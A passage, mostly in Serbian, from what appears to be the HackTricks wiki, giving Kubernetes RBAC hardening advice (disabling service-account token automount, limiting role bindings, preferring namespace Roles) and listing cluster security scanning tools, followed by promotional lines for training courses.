  • How to Apply: Set automountServiceAccountToken: false in the configuration of service accounts or pods starting from Kubernetes version 1.6.

Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings

  • Selective Inclusion: Uverite se da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno pregledajte i uklanjajte nebitne korisnike kako biste održali strogu bezbednost.

Uloge specifične za namespace umesto uloga na nivou klastera

  • Roles vs. ClusterRoles: Preferirajte korišćenje Roles i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje važe na nivou celog klastera. Ovakav pristup daje finiju kontrolu i ograničava obim dozvola.

Koristite automatizovane alate

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

References

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks